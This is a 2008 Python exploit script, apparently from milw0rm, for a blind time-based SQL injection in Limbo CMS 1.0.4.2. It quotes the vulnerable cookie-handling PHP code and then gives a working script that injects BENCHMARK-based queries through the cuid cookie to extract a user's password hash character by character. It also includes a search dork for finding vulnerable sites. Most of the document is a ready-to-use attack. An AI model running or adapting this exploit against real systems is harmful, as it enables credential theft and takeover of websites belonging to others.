#!/usr/bin/python
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This is a Public Exploit. #
# Date: 08/02/2008 [dd,mm,yyyy] #
# #
#=================================================================================================#
# Limbo 1.0.4.2 And Probably Lower Blind Sql Injection Exploit Benchmark Method #
# #
# Vendor: http://www.limbo-cms.com #
# Severity: Highest #
# Author: The:Paradox #
#=================================================================================================#
# Proud To Be Italian. #
#=================================================================================================#
"""
Related Codes:
class_auth.php; line 92:
function Auth()
{
if(isset($_SESSION['uid']) && $_SESSION['uid']!='')
{
$this->id=$_SESSION['uid'];
$this->initlogin();
return;
}
//cokkie
if(isset($_COOKIE['cuid']) && isset($_COOKIE['cusername']) && isset($_COOKIE['cpassword']))
{
global $conn,$lm_rand;
$row=$conn->GetRow("SELECT * FROM #__users WHERE id=".$_COOKIE['cuid']);
if($_COOKIE['cusername']==$row['username'] && $_COOKIE['cpassword']==md5($lm_rand.$row['password']) ) {
$this->id=$_COOKIE['cuid'];
$this->initlogin();
}
}
}
"""
#=================================================================================================#
# Proof Of Concept / Bug Explanation: #
# #
# Cuid cookie isn't propelly checked. Blind Sql Injection Vulnerability. In this exploit I'll use #
# benchmark method. #
# Additionally database prefix isn't needed, 'cause the coder automatically replaces "#__" with #
# the prefix in GetRow Function (is a REAL bad practice) . #
# Limbo allows also an installation without sql database (Flat). I'm working on it. #
# This exploit cannot work on that type of installation. #
#=================================================================================================#
# Google Dork=> Site powered By Limbo CMS #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
# Python Exploit Starts #
#=================================================================================================#
import httplib, sys, time
print "\n#=========================================================#"
print " Limbo CMS 1.0.4.2 And Probably Lower "
print " Blind Sql Injection Vulnerability "
print " Benchmark Method "
print " "
print " Discovered By The:Paradox "
print " "
print " Usage: "
print " %s [Target] [Path] [User_id] " % (sys.argv[0])
print " "
print " Example: "
print " %s 127.0.0.1 /limbo/ 1 " % (sys.argv[0])
print " %s www.host.com / 1 " % (sys.argv[0])
print " "
print " "
print "#=========================================================#\n"
if len(sys.argv)<=3: sys.exit()
else: print "[.]Exploit Starting."
target = sys.argv[1]
path = sys.argv[2]
user_id = sys.argv[3]
benchmark = "200000000" #Set This One
vtime = 6 #Set This One
port = "80"
j=1
h4sh = ""
md5tuple = []
for k in range(48,58): # 48->57 and 97->102
md5tuple.append(k)
for k in range(97,103):
md5tuple.append(k)
md5tuple.append('END')
#Query will Result like this one ===> SELECT * FROM #__users WHERE id=(SELECT/**/IF((ASCII(SUBSTRING(password,1,1))=50),benchmark(30000000,CHAR(0)),null)/**/FROM/**/#__users/**/WHERE/**/id=1)
print "[.]Blind Sql Injection Starts.\n\nHash:"
while j <= 32:
for i in md5tuple:
if i == 'END': sys.exit('[-]Exploit Failed.\n')
start = time.time()
conn = httplib.HTTPConnection(target,port)
conn.request("GET", path + "admin.php", {}, {"Accept": "text/plain","Cookie": "cpassword=1; cusername=1; cuid=(SELECT/**/IF((ASCII(SUBSTRING(password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),null)/**/FROM/**/#__users/**/WHERE/**/id="+user_id+");"})
response = conn.getresponse()
read = response.read()
if response.status == 404: sys.exit('[-]Error 404. Not Found.')
now = time.time()
if now - start > vtime:
sys.stdout.write(chr(i))
sys.stdout.flush()
h4sh += chr(i)
j += 1
break;
print "\n\n[+]All Done.\n-=Paradox Got This One=-"
# milw0rm.com [2008-02-09]
